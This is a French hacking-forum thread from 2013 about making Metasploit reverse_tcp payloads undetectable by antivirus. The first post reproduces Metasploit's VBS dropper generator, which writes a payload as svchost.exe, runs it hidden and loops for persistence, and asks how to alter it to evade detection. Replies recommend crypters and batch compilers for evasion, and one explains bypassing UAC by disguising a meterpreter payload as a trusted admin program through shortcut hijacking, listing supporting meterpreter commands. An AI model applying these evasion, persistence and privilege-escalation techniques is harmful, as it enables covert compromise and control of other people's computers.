Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 12-09-2013 11:55:24

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Modification fichier exe.rb Metasploit

Bonjour à tous,

J'aurai besoin de vos conseils.
Je suis actuellement entrain de tester une connexion reverce_tcp entre mon ordinateur principal (windows) et un ordinateur portable (kali linux). Avec l'AV désactivé, tout ce passe bien. Evidemment AV activé, toutes les alarmes se déclenchent.
J'essaye donc de modifier le fichier /opt/metasploit/msf3/lib/msf/util/exe.rb afin de rendre le script VBS (qui va être créé) et le fichier Svchost.exe (lui aussi) indétectables par mon AV.
J'utilise Veil pour la création du .exe, il passe l'AV sans problème. C'est plutôt les fichiers créés par la suite qui sont détectés.

Après plusieurs recherches et tentatives de modifications du fichier VBS que j'ai pu décortiquer, je me suis apperçu que c'est une partie prècise du code couplée à une autre, qui se fait détecter.

En remontant au fameux exe.rb, voici la partie codant sur la création du fichier VBS :

def self.to_exe_vbs(exes = '', opts={})
		delay   = opts[:delay]   || 5
		persist = opts[:persist] || false

		exe = exes.unpack('C*')
		vbs = ""

		var_bytes   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
		var_fname   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_func    = Rex::Text.rand_text_alpha(rand(8)+8)
		var_stream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_obj     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_shell   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
		var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)

		vbs << "Function #{var_func}()\r\n"

		vbs << "#{var_bytes}=Chr(#{exe[0]})"

		lines = []
		1.upto(exe.length-1) do |byte|
			if(byte % 100 == 0)
				lines.push "\r\n#{var_bytes}=#{var_bytes}"
			end
			# exe is an Array of bytes, not a String, thanks to the unpack
			# above, so the following line is not subject to the different
			# treatments of String#[] between ruby 1.8 and 1.9
			lines.push "&Chr(#{exe[byte]})"
		end
		vbs << lines.join("") + "\r\n"

		vbs << "Dim #{var_obj}\r\n"
		vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
		vbs << "Dim #{var_stream}\r\n"
		vbs << "Dim #{var_tempdir}\r\n"
		vbs << "Dim #{var_tempexe}\r\n"
		vbs << "Dim #{var_basedir}\r\n"
		vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"

		vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
		vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
		vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
		vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
		vbs << "#{var_stream}.Write #{var_bytes}\r\n"
		vbs << "#{var_stream}.Close\r\n"
		vbs << "Dim #{var_shell}\r\n"
		vbs << "Dim a\r\n"
		vbs << "a=\"Wscript.Shell\"\r\n"
		vbs << "Set #{var_shell} = CreateObject(a)\r\n"

		vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
		vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
		vbs << "a=\"DeleteFolder\"\r\n"
		vbs << "Eval(\"#{var_obj}.\"&a&\"(#{var_basedir})\")\r\n"
		vbs << "End Function\r\n"

		vbs << "Do\r\n" if persist
		vbs << "#{var_func}\r\n"
		vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
		vbs << "Loop\r\n" if persist
		vbs
	end

Et plus précisément, le problème semble venir de cette partie :

vbs << "#{var_bytes}=Chr(#{exe[0]})"

		lines = []
		1.upto(exe.length-1) do |byte|
			if(byte % 100 == 0)
				lines.push "\r\n#{var_bytes}=#{var_bytes}"
			end
			# exe is an Array of bytes, not a String, thanks to the unpack
			# above, so the following line is not subject to the different
			# treatments of String#[] between ruby 1.8 and 1.9
			lines.push "&Chr(#{exe[byte]})"
		end
		vbs << lines.join("") + "\r\n"

Cette succession de "Chr(X)" semble poser problème à l'AV.
Si je comprends bien, ce code est rajouté, et pour changer la signature, et pour augmenter la taille du fichier. C'est ca?

Si oui, comment modifier intelligement cette partie? L'enlever et rajouter un autre code aléatoire/arbitraire?

Merci d'avance pour vos réponses!

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 12-09-2013 11:58:15

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 393
Site Web

Re : Modification fichier exe.rb Metasploit

Bonjour et Bienvenue wink


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#3 12-09-2013 12:06:31

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modification fichier exe.rb Metasploit

hahah Salut Furyo, ne t'inquiète pas, je n'ai pas oublié de me présenter. J'avais un compte depuis pas mal de temps mais impossible de le retrouver même avec mon mail...
Si on me dit d'aller faire un tour dans la section présentation, je ne dérogerai pas à la règle!

Hors Ligne

#4 12-09-2013 14:01:52

JeanCharles
Membre Indétronable
Lieu : Sainte-Anne
Inscription : 13-07-2012
Messages : 199

Re : Modification fichier exe.rb Metasploit

Pourquoi ne pas utiliser un crypter tout simplement? neutral


« γνωθι σεαυτον »

Hors Ligne

#5 12-09-2013 14:28:42

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modification fichier exe.rb Metasploit

C'était histoire de comprendre et solutionner un problème que j'avais trouvé.
Je suis pas du tout à jours au niveau des crypters, t'en as un en particulier à me conseiller histoire que je me penche dessus?
Merci!

Hors Ligne

#6 12-09-2013 14:56:36

JeanCharles
Membre Indétronable
Lieu : Sainte-Anne
Inscription : 13-07-2012
Messages : 199

Re : Modification fichier exe.rb Metasploit

Celui proposé par Anthonyy59 dans ce sujet m'avais l'air vraiment pas mal niveau ratio, pas sur que tu trouves mieux sur le net en ce moment "gratuitement", mais pour l'utilisé avec metasploit il te faut un windows à disposition, le script étant en AutoIt, chez moi ça n'a pas marché avec wine, ça vaut le coup de creuser un peu, si tu as un windows à dispo wink


« γνωθι σεαυτον »

Hors Ligne

#7 12-09-2013 15:12:53

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modification fichier exe.rb Metasploit

Super merci je vais m'y pencher.
Pour Windaube, c'est pas un problème, c'est mon OS sur le pc fix et c'est là où je fais mes tests smile
Encore merci!
Par contre comme j'aime pas resté sur une interrogation, si quelqu'un peut me donner un petit coup de pouce sur ma question ce serait sympa

edit : Mince ça me paraissait évident mais je l'ai pas dit, en gros je cherche à changer le template du script vbs sous persistence.

Dernière modification par Odonnel (12-09-2013 15:31:34)

Hors Ligne

#8 14-09-2013 14:54:04

Anthonyy59
Membre V.I.P.
Inscription : 03-09-2012
Messages : 277

Re : Modification fichier exe.rb Metasploit

Comme le dis Jean Charles il y a un crypter en AutoIt, mais si tu veux un .exe qui n'est pas mal tu peux toujours créer un Batch (avec SET sous backtrack 5r3, sous Kali je ne sais pas si il y est) et le compiler avec un match compiler pour en faire un .exe avec un ratio pas mal non plus wink

Hors Ligne

#9 24-09-2013 00:17:22

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modification fichier exe.rb Metasploit

Salut à tous,

Merci à tous pour vos conseils. Pour l'instant j'ai réussi à faire ce que je voulais. Une fois la session meterpreter lancée, installer les fichiers infectés + modifier la base de registre.

Je souhaiterai augmenter le niveau en activant l'uac maintenant. J'ai lu quelques articles genre http://www.asafety.fr/vuln-exploit-poc/ … ypass-uac/ pour bypass l'uac. J'ai pas encore pigée exactement mais ça va venir.

J'ai quand même une question. Vu qu'avec l'uac on peut pas modifier le registre, c'est possible de faire en sorte que lorsqu'on clique sur un exe (ex: firefox), on lance en même temps les scripts? Ou un truc dans le genre?

Hors Ligne

#10 03-10-2013 19:34:39

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Modification fichier exe.rb Metasploit

Odonnel a écrit :

Mince ça me paraissait évident mais je l'ai pas dit, en gros je cherche à changer le template du script vbs sous persistence.

Il y a une solution qu'on peut trouver sur l’excellent blog de Piratez comme un nul

J'avais déjà un peu parlé sur comment outre passer l'UAC ici.

Odonnel a écrit :

J'ai quand même une question. Vu qu'avec l'uac on peut pas modifier le registre, c'est possible de faire en sorte que lorsqu'on clique sur un exe (ex: firefox), on lance en même temps les scripts? Ou un truc dans le genre?.

Oui ! C'est une trouvaille faite par Symantec et rapportée par SecuObs

SecuObs a écrit :

L’équipe de Symantec explique comment l'UAC peut être contourné. Tout simplement en faisant un abus de confiance auprès de l’utilisateur, il propose de télécharger le malware sous un nom aléatoire. Ce dernier va changer un raccourci dans le menu démarré en utilisant le même nom, ainsi quand l’utilisateur croira lancer son programme préféré et qu’il verra l'invite UAC s’afficher il aura à choisir s'il veut lancer ou non le programme après avoir reconnu son nom alors qu’il ne s’agira pas de ce dernier qui sera exécuté au final.

C'est aussi bête et simple que ça, il fallait y penser. En gros, si après avoir eu une session meterpreter, on peut uploader un second script meterpreter ou autre et le maquiller pour prendre l'apparence d'un programme légitime qui demande des privilèges admin pour faire son travail, et PAf c'est carnaval ! à partir de là on donne libre cours à notre imagination.
Par exemple, le script meterpreter suivant>

run get_application_list

permet de savoir la liste des programmes installés et>

run prefetchtool –x 10

permet à son tour de savoir quels sont les dix programmes les plus utilisés (valeur variable). Si on trouve qu'il y a in CCleaner, on sait alors que ce programme ne s’exécute qu'en tant qu'admin ou bien si tu veux mon idée, le pare feu Comodo se déclenche subitement pour demander de faire une mise à jour, et en root bien sur. Ainsi, si meterpreter se travestit en l'un deux, grâce notamment aux fichiers .lnk entre autre alors il sera nommé commandant en chef des forces Vista smile

Dernière modification par Fuji (21-05-2014 02:30:23)

Hors Ligne

#11 13-10-2013 09:33:34

Odonnel
Membre
Inscription : 12-09-2013
Messages : 10

Re : Modification fichier exe.rb Metasploit

Wow un grand merci Fuji!

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
2 173 04-12-2016 21:54:52 par GreyBird
0 1161 19-04-2016 18:23:42 par 2tlopez51
0 555 11-12-2015 14:16:48 par Seska
5 720 10-12-2015 01:24:56 par kcdtv
4 688 19-10-2015 19:50:32 par DrLittlebob

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.031 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]